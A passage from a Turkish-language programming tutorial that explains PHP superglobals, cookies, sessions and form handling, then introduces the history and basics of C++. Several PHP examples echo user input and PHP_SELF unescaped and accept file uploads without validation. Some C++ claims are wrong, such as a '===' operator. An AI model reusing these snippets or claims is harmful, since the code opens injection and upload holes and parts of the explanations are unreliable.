    echo "Merhaba $ad";
}
?>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Ad: <input type="text" name="ad">
  <input type="submit">
</form>
```

## **`$_FILES`**

`$_FILES` değişkeni, HTTP POST ile yüklenen dosyaları yönetmek için kullanılır.

```php
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $dosya = $_FILES['dosya'];
    $hedef_dizin = "uploads/";
    $hedef_dosya = $hedef_dizin . basename($dosya["name"]);

    if (move_uploaded_file($dosya["tmp_name"], $hedef_dosya)) {
        echo "Dosya yüklendi: " . htmlspecialchars($dosya["name"]);
    } else {
        echo "Dosya yüklenirken bir hata oluştu.";
    }
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
    Dosya Seç: <input type="file" name="dosya">
    <input type="submit" value="Yükle">
</form>
```

## **`$_ENV`**

`$_ENV` değişkeni, ortam (environment) değişkenlerini içerir. Bu değişkenler, sunucu ortamındaki bilgilere erişmek için kullanılır.

```php
<?php
echo 'Home: ' . $_ENV["HOME"];
echo "<br>";
echo 'Path: ' . $_ENV["PATH"];
?>
```

## **`$_COOKIE`**

`$_COOKIE` değişkeni, HTTP çerezlerini (cookies) toplamak için kullanılır.

```php
<?php
// Çerez ayarla
setcookie("kullanıcı", "John Doe", time() + 3600, "/");

// Çerezi oku
if(isset($_COOKIE["kullanıcı"])) {
    echo "Kullanıcı: " . $_COOKIE["kullanıcı"];
} else {
    echo "Kullanıcı çerezi ayarlanmamış.";
}
?>
```

## **`$_SESSION`**

`$_SESSION` değişkeni, oturum değişkenlerini yönetmek için kullanılır. Oturumlar, kullanıcılar arasında verilerin kalıcı olmasını sağlar.

```php
<?php
// Oturumu başlat
session_start();

// Oturum değişkenlerini ayarla
$_SESSION["kullanıcı"] = "John Doe";
$_SESSION["email"] = "john@example.com";

// Oturum değişkenlerini oku
echo "Kullanıcı: " . $_SESSION["kullanıcı"];
echo "<br>";
echo "Email: " . $_SESSION["email"];
?>
```

> \[!NOTE]
>
> * **`$GLOBALS`**: Tüm global değişkenlere erişim sağlar.
> * **`$_SERVER`**: Sunucu ve yürütme ortamı bilgilerini içerir.
> * **`$_REQUEST`**: GET, POST ve COOKIE değişkenlerini toplar.
> * **`$_POST`**: POST yöntemi ile gönderilen verileri toplar.
> * **`$_GET`**: GET yöntemi ile gönderilen verileri toplar.
> * **`$_FILES`**: Dosya yüklemelerini yönetir.
> * **`$_ENV`**: Ortam değişkenlerini içerir.
> * **`$_COOKIE`**: HTTP çerezlerini toplar.
> * **`$_SESSION`**: Oturum değişkenlerini yönetir


# 2.5 PHP'de Cookie (Çerez) Ve Session (Oturum) Yöntemleri

PHP'de çerezler (cookies), kullanıcıların tarayıcıları aracılığıyla sunucu tarafından saklanabilen küçük veri parçacıklarıdır. Çerezler, web sitelerinin kullanıcıya özgü bilgileri hatırlamasına ve saklamasına olanak tanır. Örneğin, oturum açmış kullanıcıların kimlik bilgilerini veya tercihlerini tutabilirler.

## Çerez Oluşturma ve Kullanımı

PHP'de çerezler oluşturmak için `setcookie()` fonksiyonu kullanılır.

```php
setcookie(name, value, expire, path, domain, secure, httponly);
```

> \[!info]
>
> * `name`: Çerezin adı.
> * `value`: Çerezin değeri.
> * `expire`: Çerezin süresi (Unix zaman damgası formatında). Opsiyonel olarak belirtilmezse, tarayıcı kapanana kadar geçerli olur.
> * `path`, `domain`, `secure`, `httponly`: Opsiyonel parametreler.

## PHP ile Çerez Oluşturma/Alma

Aşağıdaki örnek, "user" adında ve "John Doe" değerinde bir çerez oluşturur. Çerezin geçerlilik süresi 30 gün sonra sona erecektir (86400 \* 30). "/" yol parametresi, çerezin web sitesinin tümünde geçerli olacağını belirtir.

Daha sonra "user" çerezinin değerini alırız (global değişken olan `$_COOKIE` kullanarak). Ayrıca, çerezin tanımlı olup olmadığını kontrol etmek için `isset()` fonksiyonunu kullanırız.

```php
<?php
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 30 gün süreyle geçerli
?>

<html>
<body>
<?php
if(!isset($_COOKIE[$cookie_name])) {
  echo "Çerez '" . $cookie_name . "' tanımlı değil!";
} else {
  echo "Çerez '" . $cookie_name . "' tanımlı!<br>";
  echo "Değeri: " . $_COOKIE[$cookie_name];
}
?>
</body>
</html>
```

> \[!NOTE] Bu örnekte, `setcookie()` fonksiyonuyla "user" adında bir çerez oluşturulur ve sonrasında aynı sayfada bu çerezin varlığı kontrol edilir (`isset()` fonksiyonu ile).

## **Çerez Değerini Değiştirme**

Çerez değerini değiştirmek için aynı `setcookie()` fonksiyonunu kullanabilirsiniz. Eski çerezi yenisiyle değiştirebilirsiniz.

```php
<?php
$cookie_name = "user";
$cookie_value = "Alex Porter";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
?>
```

## **Çerezi Silme**

Bir çerezi silmek için, çerezin son kullanma tarihini geçmiş bir zaman olarak ayarlamanız yeterlidir.

```php
<?php
setcookie("user", "", time() - 3600); // Geçmiş bir zamanı belirtmek çerezi siler
?>
```

## **Çerezlerin Etkin Olup Olmadığını Kontrol Etme**

Kullanıcıların tarayıcılarında çerezlerin etkin olup olmadığını kontrol etmek için, `$_COOKIE` dizisinin boş olup olmadığını kontrol edebilirsiniz.

```php
<?php
setcookie("test_cookie", "test", time() + 3600, '/');
?>
<html>
<body>
<?php
if(count($_COOKIE) > 0) {
  echo "Çerezler etkin.";
} else {
  echo "Çerezler etkin değil.";
}
?>
</body>
</html>
```

> \[!info]
>
> Bu örnekte, `count($_COOKIE)` ile tarayıcıda mevcut çerez sayısını kontrol ediyoruz. Eğer çerezler etkinse, "Çerezler etkin." mesajı görüntülenir.

Çerezler, web uygulamalarında kullanıcı oturumlarını sürdürmek, tercihleri hatırlamak ve kişiselleştirilmiş içerik sunmak gibi birçok amaçla kullanılır. Ancak gizlilik ve güvenlik konularına dikkat edilmesi önemlidir.

## PHP Oturumu Nedir?

Bir uygulama ile çalışırken, onu açar, bazı değişiklikler yapar ve sonra kapatırsınız. Bu, bir oturuma benzer. Bilgisayar kim olduğunuzu bilir. Uygulamayı ne zaman başlattığınızı ve ne zaman kapattığınızı bilir. Ancak internet üzerinde bir sorun var: web sunucusu kim olduğunuzu veya ne yaptığınızı bilmez, çünkü HTTP adresi durumu korumaz.

Oturum değişkenleri, kullanıcı bilgilerini saklayarak bu sorunu çözer (örneğin, kullanıcı adı, favori renk vb.). Oturum değişkenleri varsayılan olarak kullanıcı tarayıcıyı kapattığında sona erer.

Yani; Oturum değişkenleri, tek bir kullanıcı hakkında bilgi tutar ve bir uygulama içindeki tüm sayfalarda kullanılabilir.

> \[!İpucu]
>
> Kalıcı bir depolama gerekiyorsa, verileri bir veritabanında saklamak isteyebilirsiniz.

> \[!info]
>
> PHP Oturumu Nasıl Başlatılır? Bir oturum, session\_start() işlevi ile başlatılır.

> \[!NOTE]
>
> Oturum değişkenleri PHP global değişkeni olan $\_SESSION ile ayarlanır.

```php
<?php
// Oturumu başlat
session_start();
?>
<!DOCTYPE html>
<html>
<body>

<?php
// Oturum değişkenlerini ayarla
$_SESSION["favcolor"] = "green";
$_SESSION["favanimal"] = "cat";
echo "Oturum değişkenleri ayarlandı.";
?>

</body>
</html>
```

> \[!NOTE]
>
> Not: session\_start() işlevi belgenizin en başında olmalıdır. Herhangi bir HTML etiketinden önce.

## PHP Oturum Değişkeni Değerlerini Almak

Oturum değişkenleri her yeni sayfada ayrı ayrı iletilmez, bunun yerine her sayfanın başında açtığımız oturumdan (session\_start()) alınır.

Ayrıca tüm oturum değişkeni değerlerinin global $\_SESSION değişkeninde saklandığına dikkat edin

```php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>

<?php
// Önceki sayfada ayarlanan oturum değişkenlerini yazdır
echo "Favori renk " . $_SESSION["favcolor"] . ".<br>";
echo "Favori hayvan " . $_SESSION["favanimal"] . ".";
?>

</body>
</html>
```

> \[!NOTE]
>
> Kullanıcıyı Nasıl Tanırım? Nasıl Biliyor ki Benim Kim Olduğumu?
>
> Çoğu oturum, kullanıcının bilgisayarında şu şekilde görünen bir kullanıcı anahtarı ayarlar: 765487cf34ert8dede5a562e4f3a7e12. Sonra başka bir sayfada oturum açıldığında, bilgisayarı bu kullanıcı anahtarı için tarar. Eşleşme varsa, o oturuma erişir, yoksa yeni bir oturum başlatır.

## Bir PHP Oturum Değişkenini Değiştirmek

Bir oturum değişkenini değiştirmek için üzerine yazmanız yeterlidir:

```php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>

<?php
// Bir oturum değişkenini değiştirmek için, sadece üzerine yazın
$_SESSION["favcolor"] = "yellow";
print_r($_SESSION);
?>

</body>
</html>
```

## Bir PHP Oturumunu Sonlandırma

Tüm global oturum değişkenlerini kaldırmak ve oturumu sonlandırmak için, session\_unset() ve session\_destroy() işlevlerini kullanın:

```php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>

<?php
// Tüm oturum değişkenlerini kaldır
session_unset();

// Oturumu sonlandır
session_destroy();
?>

</body>
</html>
```


# 2.6 Form işlemleri

**index.php**

```php
<html>
<body>

<form action="welcome.php" method="POST">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit">
</form>

</body>
</html>
```

**welcome.php**

```php
<html>
<body>

Welcome <?php echo $_POST["name"]; ?><br>
Your email address is: <?php echo $_POST["email"]; ?>

</body>
</html>
```

## GET ve POST

Hem GET hem de POST bir dizi oluşturur (örneğin dizi( anahtar1 => değer1, anahtar2 => değer2, anahtar3 => değer3, ...)). Bu dizi, anahtar/değer çiftlerini tutar; burada anahtarlar, form kontrollerinin adlarıdır ve değerler, kullanıcıdan gelen giriş verileridir.

Hem GET hem de POST, $\_GET ve $\_POST olarak değerlendirilir. Bunlar süper küreseldir, yani kapsamdan bağımsız olarak her zaman erişilebilirdirler ve bunlara özel bir şey yapmanıza gerek kalmadan herhangi bir işlev, sınıf veya dosyadan erişebilirsiniz.

$\_GET, URL parametreleri aracılığıyla geçerli betiğe iletilen değişkenlerin dizisidir.

$\_POST, geçerli betiğe HTTP POST yöntemi aracılığıyla iletilen bir değişkenler dizisidir.

## GET ne zaman kullanılır?

GET yöntemiyle bir formdan gönderilen bilgiler herkes tarafından görülebilir (tüm değişken adları ve değerleri URL'de görüntülenir). GET'in gönderilecek bilgi miktarı konusunda da sınırları vardır. Sınırlama yaklaşık 2000 karakterdir. Ancak değişkenler URL'de görüntülendiğinden sayfaya yer işareti koymak mümkündür. Bu bazı durumlarda faydalı olabilir.

GET hassas olmayan verileri göndermek için kullanılabilir.

> \[!warning]
>
> GET ASLA şifre veya diğer hassas bilgilerin gönderilmesi için kullanılmamalıdır!

## POST ne zaman kullanılır?

POST yöntemiyle bir formdan gönderilen bilgiler başkaları tarafından görülmez (tüm adlar/değerler HTTP isteğinin gövdesine yerleştirilmiştir) ve gönderilecek bilgi miktarı konusunda herhangi bir sınırlama yoktur.

Ayrıca POST, dosyaları sunucuya yüklerken çok parçalı ikili giriş desteği gibi gelişmiş işlevleri destekler.

Ancak değişkenler URL'de görüntülenmediğinden sayfaya yer işareti koymak mümkün değildir.


# C++

C++, 1979 yılında Bjarne Stroustrup tarafından geliştirilmeye başlanan ve günümüzde yaygın olarak kullanılan bir programlama dilidir. C dilinin bir üst kümesi olarak tasarlanan C++, hem yüksek performans hem de nesne yönelimli programlama (OOP) özellikleri sunarak yazılım geliştirme alanında önemli bir yere sahip olmuştur. C++'ın geliştirilmesindeki ana amaç, C dilinin sunduğu düşük seviyeli programlama yeteneklerini korurken, daha karmaşık ve büyük yazılım projelerini yönetmeyi kolaylaştırmaktı.

**Tarihçesi**

* **1979**: Bjarne Stroustrup, C diline nesne yönelimli özellikler eklemeye başladı. Bu ilk aşamada dil "C with Classes" olarak adlandırıldı.
* **1983**: C++ adı resmi olarak kullanıldı ve dil, nesne yönelimli programlama yeteneklerini geliştirmek için yeni özellikler eklenmeye devam edildi.
* **1985**: C++’ın ilk resmi kitabı, "The C++ Programming Language," Bjarne Stroustrup tarafından yayımlandı ve bu kitap, dilin kullanımını yaygınlaştırmada önemli bir rol oynadı.
* **1998**: C++ için ilk resmi standart olan C++98, ISO (Uluslararası Standardizasyon Örgütü) tarafından kabul edildi. Bu standart, dilin yapısını ve kurallarını belirledi.
* **2003**: C++03 standardı, C++98'deki bazı hataları düzeltti ve küçük iyileştirmeler yaptı.
* **2011**: C++11, dilde önemli değişiklikler ve yeni özellikler getirdi. Lambda ifadeleri, akıllı işaretçiler ve çoklu iş parçacığı desteği gibi yenilikler bu sürümde yer aldı.
* **2014**: C++14, C++11'deki bazı eksiklikleri giderdi ve daha fazla küçük iyileştirme sundu.
* **2017**: C++17, yeni veri yapıları ve algoritmalar, daha iyi tipe destek ve daha iyi hata ayıklama olanakları getirdi.
* **2020**: C++20, modüler programlama, geliştirilmiş tür dedükleme, uzaktan iş parçacığı desteği ve daha birçok özellik ile dilin kapsamını genişletti.

**C++ Özellikleri**

C++, birçok farklı programlama paradigmasını destekleyen esnek bir dildir. Aşağıdaki özellikler, C++’ın en önemli yönlerindendir:

* **Nesne Yönelimli Programlama**: Sınıflar, nesneler, kalıtım ve polymorphism gibi nesne yönelimli kavramlar, C++'ın temel yapı taşlarını oluşturur.
* **Yüksek Performans**: C++, sistem programlaması, oyun geliştirme ve performansın kritik olduğu uygulamalar için tercih edilmektedir.
* **Standard Template Library (STL)**: C++, yerleşik veri yapıları ve algoritmalar sunan STL ile birlikte gelir. Bu kütüphane, yazılım geliştirme sürecini hızlandırır ve kolaylaştırır.
* **Düşük Seviye Manipülasyon**: C++, bellek yönetimi ve sistem kaynaklarına doğrudan erişim sağlar, bu da düşük seviyeli programlama yapılmasına olanak tanır.
* **Platform Bağımsızlığı**: C++ ile yazılan programlar, uygun derleyiciler kullanıldığında farklı platformlarda çalıştırılabilir.

C++, güçlü, esnek ve çok yönlü bir programlama dili olarak yazılım geliştirme alanında önemli bir yer tutmaktadır. Hem sistem programlama hem de uygulama geliştirme için yaygın bir şekilde kullanılmaktadır. C++’ın sürekli gelişimi, dilin modern yazılım ihtiyaçlarına yanıt vermesini sağlar ve onu yazılım mühendisleri için vazgeçilmez bir araç haline getirir.


# 1.0 Temeller

C++ dilinde fonksiyonlar, belirli bir işlevi yerine getirmek üzere tanımlanmış kod bloklarıdır. Fonksiyonlar, kodun tekrar kullanılabilirliğini artırır, modüler yapıyı destekler ve programın okunabilirliğini sağlar.

**Fonksiyon Tanımlama**

Bir fonksiyon tanımlarken, dönüş tipi, fonksiyon adı ve parametre listesi belirtilir. Aşağıda bir fonksiyonun genel yapısı yer almaktadır:

```cpp
return_type function_name(parameter_type parameter_name) {
    // Fonksiyonun gövdesi
    // İşlemler
    return value; // Dönüş tipi varsa
}
```

**Örnek: Basit Bir Fonksiyon**

```cpp
#include <iostream>
using namespace std;

// Fonksiyon tanımı
void greet() {
    cout << "Merhaba, C++ Dünyası!" << endl;
}

int main() {
    greet(); // Fonksiyonu çağırma
    return 0;
}
```

Bu örnekte, `greet` isimli bir fonksiyon tanımlanmış ve çağrılmıştır. Bu fonksiyon, ekrana bir mesaj yazdırır.

**Parametreli Fonksiyonlar**

Fonksiyonlar, parametre alarak daha dinamik hale getirilebilir. Fonksiyon tanımında parametreler belirtilir ve fonksiyon çağrılırken bu parametrelere değerler atanır.

**Örnek: Parametreli Fonksiyon**

```cpp
#include <iostream>
using namespace std;

// Fonksiyon tanımı
void add(int a, int b) {
    cout << "Toplam: " << (a + b) << endl;
}

int main() {
    add(5, 10); // 5 ve 10 değerlerini parametre olarak gönderme
    return 0;
}
```

Bu örnekte, `add` fonksiyonu iki tam sayıyı toplar ve sonucu ekrana yazdırır.

**Dönüş Değeri Olan Fonksiyonlar**

Fonksiyonlar, belirli bir veri tipinde değer döndürebilir. Dönüş tipi, fonksiyonun tanımında belirtilir.

**Örnek: Dönüş Değeri Olan Fonksiyon**

```cpp
#include <iostream>
using namespace std;

// Fonksiyon tanımı
int multiply(int a, int b) {
    return a * b; // Çarpım sonucunu döndürme
}

int main() {
    int result = multiply(4, 5); // Fonksiyonu çağırma
    cout << "Çarpım: " << result << endl; // Sonucu yazdırma
    return 0;
}
```

Bu örnekte, `multiply` fonksiyonu iki sayıyı çarpar ve sonucu döndürür.

**Fonksiyon Aşırı Yükleme (Function Overloading)**

C++ dilinde, aynı isimde birden fazla fonksiyon tanımlanabilir. Bu durum, fonksiyonun parametre sayısı veya türü farklı olduğunda mümkündür.

**Örnek: Fonksiyon Aşırı Yükleme**

```cpp
#include <iostream>
using namespace std;

// Fonksiyon tanımları
int add(int a, int b) {
    return a + b; // Tam sayı toplama
}

double add(double a, double b) {
    return a + b; // Ondalık toplama
}

int main() {
    cout << "Tam Sayı Toplama: " << add(5, 10) << endl; // 15
    cout << "Ondalık Toplama: " << add(5.5, 10.2) << endl; // 15.7
    return 0;
}
```

Bu örnekte, `add` fonksiyonu tam sayı ve ondalık sayılar için iki ayrı tanımda yer almıştır.


# 1.1 Dosya Oluşturma

Metin Editörü Kullanarak C++ Dosyası Oluşturma

Metin Editörü:

* Windows Notepad, Notepad++, Sublime Text, Visual Studio Code veya başka bir metin editörünü kullanabilirsiniz.

**Dosyayı Kaydedin**:

* C++ dosyaları için varsayılan dosya uzantısı "`.cpp`" dir.
* Dosyayı `.cpp` uzantısı ile kaydedin. Örneğin: `helloworld.cpp`.

C++ Kodu:

* Yeni bir dosya oluşturalım ve C++ kodumuzu yazalım.
* Örneğin:

```
#include <iostrem>

int main()
{
   std::cout << "Hello World";
   return 0;
}
```


# 1.2 Syntax (Yazım Kuralları)

## **Temel C++ Sözdizimi**

C++ betikleri `.cpp` uzantılı dosyalar içinde yazılır ve her C++ programı `main()` fonksiyonu ile başlar ve biter. Her bir C++ deyimi de noktalı virgül (`;`) ile sonlandırılır.

* **Başlangıç ve Bitiş**: C++ kodları belirli bir başlangıç veya bitiş etiketi ile sınırlanmaz. Program akışı, `#include`direktifleri ile başlar ve `main()` fonksiyonu içinde tanımlanır.
* **Kod Yapısı**: C++ programı `main()` fonksiyonu ile başlar ve `{}` süslü parantezleri ile sınırlandırılır. Örneğin:

```
#include <iostream>  // Gerekli kütüphane eklenir.

int main() {  // Programın ana fonksiyonu burada başlar.
    std::cout << "Merhaba, Dünya!" << std::endl;  // Ekrana mesaj yazdırma işlemi.
    return 0;  // Program başarıyla bittiğinde 0 döndürülür.
}
```

> Not: `return 0;` ifadesi, `main()` fonksiyonunun sonunda programın başarılı bir şekilde tamamlandığını işletim sistemine bildirmek için kullanılır. `main()` fonksiyonu `int` türünde bir değer döndürmek zorunda olduğundan `return` ifadesi yazılır. `0` değeri, başarılı çalışmayı temsil eder.

## **C++ Büyük/Küçük Harf Duyarlılığı**

C++ dilinde **tüm anahtar sözcükler**, **değişkenler**, **sınıflar** ve **fonksiyon adları** büyük/küçük harfe duyarlıdır. Bu, `int`, `INT`, `Int` gibi ifadelerin aynı anlama gelmediği anlamına gelir.

```
#include <iostream>

int main() {
    std::cout << "Hello, Bootcamp2024" << std::endl;  // std::cout kullanımı
    std::COUT << "Hello, Bootcamp2024" << std::endl;  // Hata verir: COUT geçersizdir
    return 0;
}
```

> Yukarıdaki örnekte, `std::cout` küçük harflerle yazıldığında geçerlidir ve ekrana yazdırma işlemi yapar. Ancak `std::COUT` kullanımı hata verir çünkü `COUT` C++ tarafından tanımlı bir ifade değildir.

Örnek:

```
#include <iostream>

int main() {
    int value = 10;
    int Value = 20;
    int VALUE = 30;

    std::cout << "value: " << value << std::endl;  // Ekrana 10 yazar
    std::cout << "Value: " << Value << std::endl;  // Ekrana 20 yazar
    std::cout << "VALUE: " << VALUE << std::endl;  // Ekrana 30 yazar

    return 0;
}
```

> Bu örnekte, `value`, `Value` ve `VALUE` değişkenleri birbirinden bağımsızdır. Her biri farklı bir değeri temsil eder ve ekrana farklı sonuçlar yazdırır.

## Alıştırma

**S1) Bir C++ Betiği Şu Şekilde Başlar ve Biter:**

**a)**

```
#include <iostream>
int main() {
    // C++ code
    return 0;
}
```

b)

```
#include <iostream>
void main() {
    // C++ code
}
```

c)

```
#include <iostream>
int main()
    // C++ code
return 0;
```

**S2) Ekrana "Merhaba Dünya" Yazdırmak İçin Eksik Kısmı Ekleyin:**

```
#include <iostream>

int main() {
    [] << "Merhaba Dünya";
    return 0;
}
```

**a)**

```
std::cout
```

b)

```
Console.WriteLine
```

c)

```
echo
```

S3) Aşağıdaki kodlara göre ekrana yazan çıktı ne olacaktır ?

```
#include <iostream>

int main() {
    int value = 5;
    int Value = 10;
    int ValuE = 15;

    std::cout << Value;
    return 0;
}
```

a)

```
5
```

b)

```
10
```

c)

```
15
```


# 1.3 Yorum Satırları

C++'da yorum satırları, kodun çalışmasını engellemek veya açıklama eklemek için kullanılır. Yorumlar, tek satırlık veya çok satırlık olabilir.

C++ dilinde yorumlar, kodun okunabilirliğini artırmak, açıklama eklemek veya geçici olarak kod satırlarını devre dışı bırakmak için kullanılır. Yorumlar, program derlendiğinde dikkate alınmaz, bu yüzden çalıştırılan program üzerinde bir etkisi yoktur.

## Tek Satırlık Yorumlar

Tek satırlık yorumlar, `//` ile başlar ve o satırın sonuna kadar geçerli olur.

```
// Bu bir tek satırlık yorumdur
std::cout << "Merhaba Dünya!" << std::endl;  // Bu da bir yorumdur.
```

## Çok Satırlı Yorumlar

```
/*
Bu bir çok satırlı yorumdur.
İstediğiniz kadar satır ekleyebilirsiniz.
*/
std::cout << "Merhaba Dünya!" << std::endl;
```

## Kodu Yok Saymak İçin Yorumlar

Kodu geçici olarak çalıştırmamak veya hata ayıklarken bazı bölümleri devre dışı bırakmak için yorumlar kullanılabilir. Bu yöntem, istenmeyen kodun geçici olarak devre dışı bırakılmasına ve programın geri kalanının çalıştırılmasına olanak tanır.

```
#include <iostream>

int main() {
    // std::cout << "Bu satır çalıştırılmayacak" << std::endl;
    /*
    std::cout << "Bu satır da çalıştırılmayacak" << std::endl;
    std::cout << "Bu satır da çalıştırılmayacak" << std::endl;
    */
    std::cout << "Sadece bu satır çalıştırılacak" << std::endl; // Çıktı: Sadece bu satır çalıştırılacak
    return 0;
}
```

> Yorumlar, kodun okunabilirliğini artırır ve diğer geliştiricilerin kodunuzu daha iyi anlamasına yardımcı olur. Aynı zamanda, kodun belirli kısımlarını geçici olarak devre dışı bırakmak için kullanışlıdır.

## Alıştırma

**S1) Hangisi yasal bir C++ yorumu DEĞİLDİR ?**

a) `// _comment goes here_`\
b) `/* _comment goes here */`\
c) `"_comment goes here_"`

**S2) Aşağıdaki kod satırlarının yürütülmediğinden emin olmak için C++ çok satırlı açıklama sözdizimini kullanın.**

```
[]
x = 5;
std::cout << x << std::endl;
[]
```


# 1.4 C++ Değişkenleri

C++ dilinde değişkenler, bir veri tipini ve bir ad (değişken adı) belirterek tanımlanır. Değişkenler, belirli bir değeri depolamak ve bu değeri programın çeşitli yerlerinde kullanmak için kullanılır.

## C++ Değişkenleri Oluşturma

Değişken tanımlamak için önce veri tipini, ardından değişken adını ve isteğe bağlı olarak başlangıç değerini belirtmelisiniz.

```
#include <iostream>

int main() {
    std::string name = "Hüseyin Tazegül"; // Metin (string) tipi değişken
    int age = 26; // Sayısal (integer) tipi değişken
    
    std::cout << "Ad: " << name << std::endl; // Ad: Hüseyin Tazegül
    std::cout << "Yaş: " << age << std::endl; // Yaş: 26

    return 0;
}
```

> * **Değişkenlerin Veri Tipi:**
>   * C++ dilinde, değişken tanımlarken veri tipi (`int`, `float`, `double`, `string` vb.) belirtilmelidir.
>   * Örneğin: `int age = 26;` ifadesinde `int` veri tipini, `age` ise değişken adını temsil eder.
> * **Büyük/Küçük Harf Duyarlılığı:**
>   * C++’ta değişken adları büyük/küçük harf duyarlıdır. Yani `age` ve `Age` farklı değişkenlerdir.
> * **Değişken İsimlendirme Kuralları:**
>   * Değişken adı bir harf veya alt çizgi (\_) ile başlamalıdır.
>   * Değişken adı bir sayı ile başlayamaz.
>   * Değişken adı yalnızca alfasayısal karakterler (A-Z, a-z, 0-9) ve alt çizgi (\_) içerebilir.
>   * Değişken adı bir fonksiyon adı veya özel bir kod adı olamaz.
>   * Özel karakterler (örneğin `@`, `#`, `$`, vb.) kullanılamaz.

```
int age = 23; // Bu "age" değişkenidir.
int Age = 45; // Bu ise "Age" değişkenidir ve farklı bir değişkendir.
```

> **Geçersiz Değişken Adları**

```
int 1age = 30; // Hata: Değişken bir sayı ile başlayamaz.
int age@ = 20; // Hata: Özel karakter kullanılamaz.
int function = 10; // Hata: Bu bir fonksiyon adı olarak kullanılamaz.
```

**Çıktı Değişkenleri**

C++ dilinde `std::cout` (console output) ifadesi ekrana veri çıkışı yapmak için kullanılır. Aşağıdaki örnek, metin ve değişkenin çıktısının nasıl alınacağını gösterir:

```
#include <iostream>

int main() {
    std::string txt = "Yavuzlar";
    std::cout << "I love " << txt << "!" << std::endl; // I love Yavuzlar!
    
    return 0;
}
```


# 1.4.1 Değişken Türleri

## C++ Temel Değişken Türleri

1. **int (Tam Sayı):**
   * Tamsayı değerlerini saklar.
   * Örnek: `int sayi = 10;`
   * Bellek boyutu genellikle 4 bayttır, fakat bu sistemin mimarisine bağlı olarak değişebilir.
2. **float (Kesirli Sayı):**
   * Kesirli (ondalık) sayıları saklar.
   * Örnek: `float pi = 3.14f;`
   * Bellek boyutu genellikle 4 bayttır.
3. **double (Çift Hassasiyetli Kesirli Sayı):**
   * Yüksek hassasiyet gerektiren kesirli sayıları saklar.
   * Örnek: `double e = 2.718281828459;`
   * Bellek boyutu genellikle 8 bayttır.
4. **char (Karakter):**
   * Tek bir karakteri saklar.
   * Örnek: `char harf = 'A';`
   * Bellek boyutu genellikle 1 bayttır.
5. **bool (Boolean):**
   * Doğru (true) veya yanlış (false) değerlerini saklar.
   * Örnek: `bool durum = true;`
   * Bellek boyutu genellikle 1 bayttır, ancak optimizasyon nedeniyle değişebilir.

## C++ Sabit Değişkenler

C++ dilinde `const` anahtar kelimesi, bir değişkenin veya bir nesnenin değerinin sabit kalmasını sağlamak için kullanılır. `const` ile tanımlanan bir değişken, ilk atandıktan sonra değeri değiştirilemez. Bu özellik, kodun daha güvenli ve hatasız olmasına yardımcı olur.

`const` ile tanımlanan bir değişkenin değeri, ilk atandıktan sonra değiştirilemez.

Örnek:

```
const int sabitSayi = 10;
sabitSayi = 20; // Hata: sabitSayi değiştirilemez
```


# 1.5 Operatörler (Operators)

1. **Aritmetik Operatörler**

   Aritmetik operatörler, sayılar üzerinde matematiksel işlemler yapmak için kullanılır:

   * `+` Toplama
   * `-` Çıkarma
   * `*` Çarpma
   * `/` Bölme
   * `%` Modülüs (bölümden kalan)

```cpp
int a = 10; 
int b = 3; 
    
std::cout << (a + b) << std::endl; // 13
std::cout << (a - b) << std::endl; // 7
std::cout << (a * b) << std::endl; // 30
std::cout << (a / b) << std::endl; // 3
std::cout << (a % b) << std::endl; // 1
```

2. **Atama Operatörler**

Atama operatörleri, bir değişkene değer atamak için kullanılır:

* `=` Değer atama
* `+=` Toplama ve atama
* `-=` Çıkarma ve atama
* `*=` Çarpma ve atama
* `/=` Bölme ve atama

```cpp
int x = 5; 
x += 3; // x = x + 3; -> 8
std::cout << x << std::endl; // 8

int y = 10; 
y -= 5; // y = y - 5; -> 5
std::cout << y << std::endl; // 5
```

3. **Karşılaştırma Operatörleri**

Karşılaştırma operatörleri, iki değeri karşılaştırmak için kullanılır:

* `==` Eşitse
* `!=` Eşit değilse
* `>` Büyüktür
* `<` Küçüktür
* `>=` Büyük eşittir
* `<=` Küçük eşittir

```
int a = 10; 
int b = 5; 
    
std::cout << (a == b) << std::endl; // 0 (false)
std::cout << (a != b) << std::endl; // 1 (true)
std::cout << (a > b) << std::endl; // 1 (true)
std::cout << (a <= b) << std::endl; // 0 (false)
```

4. **Mantıksal Operatörler**

Mantıksal operatörler, boolean değerleri üzerinde mantıksal işlemler yapmak için kullanılır:

* `&&` veya `and` Mantıksal VE
* `||` veya `or` Mantıksal VEYA
* `!` Mantıksal DEĞİL

```
bool x = true; 
bool y = false; 
    
std::cout << (x && y) << std::endl; // 0 (false)
std::cout << (x || y) << std::endl; // 1 (true)
std::cout << (!x) << std::endl; // 0 (false)
```

5. **Dizi Operatörleri**

Dizi operatörleri, diziler üzerinde işlemler yapmak için kullanılır:

* `+` Dizi birleştirme (C++ dilinde standart dizi birleştirme operatörü yoktur; bu işlemi gerçekleştirmek için özel yöntemler kullanmanız gerekir.)
* `==` Eşitse
* `===` Aynı türde ve eşitse

> C++'da dizileri birleştirmek için genellikle STL (Standart Şablon Kütüphanesi) kullanılır.


# 1.6 Namespace

C++ dilinde `namespace` (ad alanı) anahtar kelimesi, kodunuzu mantıksal gruplara ayırmak ve isim çakışmalarını önlemek için kullanılır. Özellikle büyük projelerde, farklı kütüphaneler veya modüller tarafından tanımlanan aynı isimlerin (örneğin, sınıf, fonksiyon veya değişken isimleri) çakışmaması için `namespace` kullanımı önemlidir.

Bir `namespace` tanımlamak için aşağıdaki sözdizimini kullanabilirsiniz:

```
namespace ad_alanı_adı {
    // Burada tanımlanan her şey bu ad alanına ait olur.
    int x = 10;

    void yazdir() {
        std::cout << "x: " << x << std::endl;
    }
}
```

Bu örnekte `ad_alanı_adı` adında bir `namespace` tanımladık ve içine bir değişken (`x`) ve bir fonksiyon (`yazdir()`) koyduk.

Tanımlanan bir `namespace` içindeki elemanlara erişmek için `namespace` adını kullanmanız gerekir:

```
#include <iostream>

namespace ornek {
    int x = 100;

    void yazdir() {
        std::cout << "Namespace içindeki x: " << x << std::endl;
    }
}

int main() {
